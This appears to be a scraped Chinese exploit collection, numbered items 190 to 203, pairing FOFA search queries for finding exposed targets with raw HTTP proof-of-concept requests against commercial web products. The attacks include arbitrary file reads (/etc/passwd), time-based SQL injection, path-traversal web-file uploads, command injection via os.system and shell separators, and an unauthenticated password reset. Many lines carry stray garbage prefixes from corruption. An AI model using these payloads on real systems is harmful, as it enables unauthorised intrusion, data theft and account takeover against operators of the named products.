User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' j3 V* d1 O) G" H+ `! V" vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  k& }5 \$ \" `& e: J4 I; RAccept-Language: zh-CN,zh;q=0.9
Connection: close

; a/ M- H6 {2 Y: y
) B; X& W. s2 R) }4 I( L: e- p190. 短视频矩阵营销系统 poihuoqu 任意文件读取
  G8 Q  q' ]4 e% h0 p0 qFOFA：title=="短视频矩阵营销系统"
! b$ v) P. Y5 N# D: P3 tPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
# h; E7 [4 y; Q; pHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
  ^8 D% h- A$ e" q3 H% c; s: v, N1 `Accept-Language: zh-CN,zh;q=0.9
/ o! i  r; K6 b8 V
2 z. g5 ^) C0 ^6 B7 g1 D4 J* T: K9 fpoi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
- P8 m  ^7 U# g2 y. @5 `' r- gFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
( K: p. T3 z8 E( [6 Q5 g  g. R- L0 C
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


4 W1 c$ {/ C/ K! u" U- R; A7 `192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

2 l. M- j$ p  s
0 L# I# ~3 N1 O0 {<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
- V1 H& s  c2 u- D+ Kpublic class AverageHandler : IHttpHandler
# P, b& e- s% w: v5 t1 Y0 E{
0 L  R  y3 U) U" |public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
9 R) `4 U( V9 U! u8 @- R! o2 d}
}
5 u, {4 k; u3 _+ x/ v" Q

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
: t" V, Y) V: f! _FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
) @* a* X9 Y# g* p1 C* W( ]Host:
- x( B$ f( q+ }& g% E$ h/ ^! }Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
, ^8 [" G* n7 E9 C+ V9 hUser-Agent: Mozilla/5.0

" v6 |8 ]9 X. N/ y- t* k& j
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
9 ?' {' W. w$ H$ KHost:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
  u2 l  I% N. f# OContent-Type: application/x-www-form-urlencoded
* ~- B3 y3 ?: M- n  G+ BContent-Length: 84
+ l2 A0 E' V) c
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
& B0 M- l  m: }# t
0 p$ X: S2 \+ F* r. k$ V
6 f2 L) @+ y  ~6 x: p  ZGET /master/img/config HTTP/1.1
& @; F# O" ?" |) T( oHost:
User-Agent: Mozilla/5.0

: @' l. }' \# G8 F  P" C' o2 d
& L# {! a5 e" |2 `194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
  }& ~' b, Y8 V. uFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
- k& R* t* S+ q" [& x3 w5 L
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 v1 R; w1 [5 g4 J5 u" `; UConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
. s1 U! T% w. i" L8 X5 X( Y+ x2 ]------WebKitFormBoundaryKNt0t4vBe8cX9rZk

, c4 v$ t3 _( }' f% A4 yContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
' m$ D- ]/ J& X<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
7 y$ o9 b# [- a! {2 s! MContent-Disposition: form-data; name="json"
) D. O& P6 T( ~5 `& C {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

! O0 F- N* |1 Q7 j9 g
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
! _1 p7 r3 j3 H5 aPOST /send_order.cgi?parameter=operation HTTP/1.1
8 l- C8 f) U+ `: f$ sHost: 127.0.0.1
Pragma: no-cache
/ l# d% {: w4 o- BCache-Control: no-cache
/ q' |/ x$ ~9 t- z3 u' wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
2 k& l/ n  r- RAccept-Encoding: gzip, deflate
' b* P' N% |8 s" `$ OAccept-Language: zh-CN,zh;q=0.9
) I. K$ H: S. H* d3 f- ZConnection: close
: N& g/ S% N  fContent-Type: application/x-www-form-urlencoded
* w# B3 Y; i1 F: W* N6 M6 aContent-Length: 68
& d) t  `" e# _
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
% p" L) t% m' @- d0 A
$ ]+ C- _, @/ c' M
$ Q+ D, ]8 Q5 m' h5 r196. 河南省风速科技统一认证平台密码重置
* [7 c6 |8 ]2 L! u4 T$ X" {0 O. o1 X' vFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
4 }; p$ n) T/ ]4 g: g& H1 ]POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
' t& {! h6 U8 y4 S2 j! [: lContent-Type: application/json;charset=UTF-8
1 |$ M7 T6 C9 [" ^) [8 dX-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
2 r5 O8 |4 J% d  V7 `* DContent-Length: 45
Connection: close
5 S# Y% s' d* T1 [' f
, T: y" C- k) h6 T% b{"xgh":"test","newPass":"test666","email":""}
) G  J8 l: a  {" j& R  |
* E4 _+ [6 |" W1 @

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
8 t; M' h! T' v+ i$ F7 v, g  ~FOFA：app="浙大恩特客户资源管理系统"
" X6 c' d1 p7 E& Q7 F/ h  MGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
6 p0 ~) r$ S, Y


198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
4 O6 C% E: K% b5 ~. T) mAccept: */*
7 X; |# C0 E! B  _3 e& u& [Accept-Encoding: gzip, deflate
9 @6 E7 M+ ^/ R: x& z  z; b; JAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
0 @" O1 Y% [' e/ E2 F& ]Connection: close


9 E5 n( I' A; u/ ]199. cockpit系统assetsmanager_upload接口 文件上传
+ n5 ^9 R/ K7 C. R) R; V; H6 i5 F" ?
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
& ?) N) q8 @6 V2 LGET /auth/login?to=/ HTTP/1.1

6 z  T5 {! q8 M- Z" }1 L* b响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
' G* O2 m! Q6 @8 B- w' Q. o
3 X: X1 o9 Z5 _9 O$ I! H$ F2 e2 g( E" T2.使用刚才上一步获取到的jwt获取cookie：
3 h* b0 D2 X% |2 V8 H4 K/ }
POST /auth/check HTTP/1.1
Content-Type: application/json
( v( b0 J: r( C& h6 f7 Y+ u" I
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
. c  [6 g& o# [: F* d3 L% D
0 {3 T: d6 S! E; w8 P6 x0 o响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
6 q4 {, E5 j- P5 _( z9 t- N7 R2 VContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
: h, s. y1 a, k# l# K& ZCookie: mysession=95524f01e238bf51bb60d77ede3bea92

8 h  ?8 H; _5 B5 i& q2 I-----------------------------36D28FBc36bd6feE7Fb3
0 ]; Y7 C$ |2 G7 G8 ~  N( |Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
4 R3 n# L; A2 R0 b1 O0 ~Content-Disposition: form-data; name="folder"
8 [3 [5 Q) r( s7 {# v# ~# L7 X6 k
' E# W% D+ H5 ^% V' V2 |! W-----------------------------36D28FBc36bd6feE7Fb3--

/ J' |4 x' G* }7 q! \) P, X* m
9 t( }( P7 c/ w& Q0 \1 w6 j/storage/uploads/tttt.php
0 Q) S' C# x6 a7 @' g" R+ z
: h' G8 E) a# ^6 L200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
  F" [& E. T0 @6 e4 KUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. U  h3 o5 I- `0 nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 O9 A4 e1 Z+ \$ [! y

201. 方正全媒体新闻采编系统 binary SQL注入
/ T1 ^' u( ~2 U( DFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
% f9 B# W& r1 J/ J; r+ MPOST /newsedit/newsplan/task/binary.do HTTP/1.1
. F/ R# F3 l" o& LContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* O" |  E0 l/ }; P4 G, k, `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
4 M+ B& W( S  m6 t1 q$ d" j

202. 微擎系统 AccountEdit任意文件上传
) W" `0 \! C, ~) }4 P; gFOFA：body="/Widgets/WidgetCollection/"
; h' j% N2 C( g. A获取__VIEWSTATE和__EVENTVALIDATION值
: \4 i3 X/ V: s* b& FGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
- q9 Y+ t1 W( E: E- D' n- K4 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
. M/ E# b2 ?. L* }, i% H$ a) e
9 c4 o( \, c. V) z) d- g- Q& F+ H
$ p0 F) T9 B* u6 `* G& x0 ?: J" @替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
6 a: h% v; r5 U" e' Z" G" [Accept-Encoding: gzip, deflate, br
( A' N! T4 P$ j) Q1 m% [0 UContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
/ }9 O* e. R/ w2 |: ^Content-Disposition: form-data; name="__VIEWSTATE"
- o! @% Z3 K( f/ ?
& q- {& T8 ?9 \. U, Q9 H% k, g  ?__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
, g9 F3 [; O: Z; ]
! J" @& i& e5 j6 W$ Z__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
4 c+ e4 W( q" U' k4 @. z0 G1 @, KContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
6 k4 l& Z: d0 S& r( D
Hello World!
% A# J% x0 j1 {; u# c: h-----------------------------786435874t38587593865736587346567358735687
, V6 b5 _& w+ |Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
$ W9 k3 J! z! X+ M7 D3 g
9 h* b: ?4 u# C上传图片
$ j, ]2 S) W+ K: d; k) Z. a5 q-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
) o- P2 g% m" u: M
/ t& J. _. V" J5 n
* R) J* J+ p6 t# w-----------------------------786435874t38587593865736587346567358735687
: k5 o4 O/ E! ZContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


$ g( _  K  H2 d& L+ i+ O-----------------------------786435874t38587593865736587346567358735687--
0 T2 B$ m5 s: l: t

/_data/Uploads/1123.txt
5 `& `' C3 ]- T" |9 X* q& I3 l
203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
% y+ |* f" J/ K9 [* MPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
( ~0 ]" |2 C8 t5 L( G. BHost: x.x.x.x
3 r  _7 i% L* u+ M+ w. M& z# {6 jAccept-Encoding: gzip
) x" u, M' x& a/ S4 M/ v; zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ u- @0 M, o% o* L8 {. PContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
% o& F8 V. D1 \Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
( k3 r- v( l. j3 NContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
* q( x+ ~5 N2 Z' a' l* aContent-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
% c, O' R1 t) `3 B5 P# b6 y
8 b1 z' Z; t3 K# K* n4 M



/ k$ Q' A4 _, l$ ]; K9 U0 e$ z* e, M
& J+ ^9 O6 \8 r! P